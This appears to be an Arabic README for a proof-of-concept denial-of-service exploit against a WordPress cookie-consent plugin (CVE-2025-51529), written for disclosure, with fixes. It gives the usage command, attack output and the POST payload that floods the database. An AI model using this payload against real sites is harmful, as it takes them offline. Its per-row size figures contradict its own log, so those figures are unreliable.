CVE-2025-51529: ثغرة رفض الخدمة في إضافة Cookies and Content Security Policy لووردبريس

يسمح التحكم غير الصحيح في الوصول في وظيفة نقطة نهاية AJAX في إضافة jonkastonka Cookies and Content Security Policy حتى الإصدار 2.29 للمهاجمين عن بُعد بالتسبب في رفض الخدمة (استنزاف موارد خادم قاعدة البيانات) عبر عمليات كتابة غير محدودة في قاعدة البيانات إلى نقطة النهاية wp_ajax_nopriv_cacsp_insert_consent_data.

توجد الثغرة في الدالة cacsp_insert_consent_data()، والتي يتم كشفها من خلال نقطة نهاية AJAX الخاصة بووردبريس (wp-admin/admin-ajax.php) دون متطلبات مصادقة. تستخدم الإضافة إجراء wp_ajax_nopriv_، مما يجعلها متاحة للمستخدمين غير المصادق عليهم.

متجه الهجوم: يمكن للمهاجمين عن بُعد إرسال طلبات POST متزامنة غير محدودة لإغراق خادم قاعدة البيانات بعمليات الكتابة، مما يتسبب في استنزاف وحدة المعالجة المركزية (CPU) وإدخال/إخراج القرص.

تفاصيل الثغرة

• CVE ID: CVE-2025-51529
• الحالة: محجوز (RESERVED)
• النوع: تحكم غير صحيح في الوصول / رفض الخدمة
• المنتج: إضافة Cookies and Content Security Policy حتى الإصدار 2.29
• البائع: Johan Jonk Stenstroem (jonkastonka)
• الدالة المتأثرة: cacsp_insert_consent_data()
• متجه الهجوم: عن بُعد
• مكتشف الثغرة: Piotr Bednarski

المتطلبات

• Python 3.x
• requests
• matplotlib
• threading

الاستخدام

الاستخدام الأساسي لسكربت إثبات المفهوم (PoC) هو كما يلي:

python payload.py --target <target_url> --threads <number_of_threads>

بشكل افتراضي، يتم تعيين عدد الخيوط على 100. يمكنك تحديد عدد مختلف من الخيوط عن طريق تمريره كوسيطة ثانية.

مثال على المخرجات

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100): 

Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack

[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding

كيف يعمل

يرسل الاستغلال طلبات POST إلى /wp-admin/admin-ajax.php مع:

data = {
    'action': 'cacsp_insert_consent_data',
    'accepted_cookies': 'necessary,experience,analytics,marketing',
    'expires': "9" * 255  # Maximum TINYTEXT length
}

يقوم كل طلب ناجح بإدراج صف جديد في قاعدة البيانات يحتوي على:

• الطابع الزمني (19 بايت)
• عنوان IP (~13 بايت)
• تفضيلات ملفات تعريف الارتباط (متغيرة)
• بيانات انتهاء الصلاحية (حتى 255 بايت)
• معرف الموقع (1 بايت)
• الحمل الزائد لـ MySQL (~22 بايت)

النتيجة: ~89 بايت لكل طلب × طلبات غير محدودة = نمو سريع لقاعدة البيانات

الإصلاحات الموصى بها

• إضافة التحقق من nonce لاستدعاءات AJAX
• تنفيذ تحديد معدل الطلبات (rate limiting) لكل عنوان IP
• التحقق من مدخلات المستخدم بشكل صحيح

إخلاء المسؤولية

إثبات المفهوم (PoC) هذا مخصص للأغراض التعليمية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن استخدام هذا الكود. احصل دائمًا على إذن قبل الاختبار ضد أي نظام.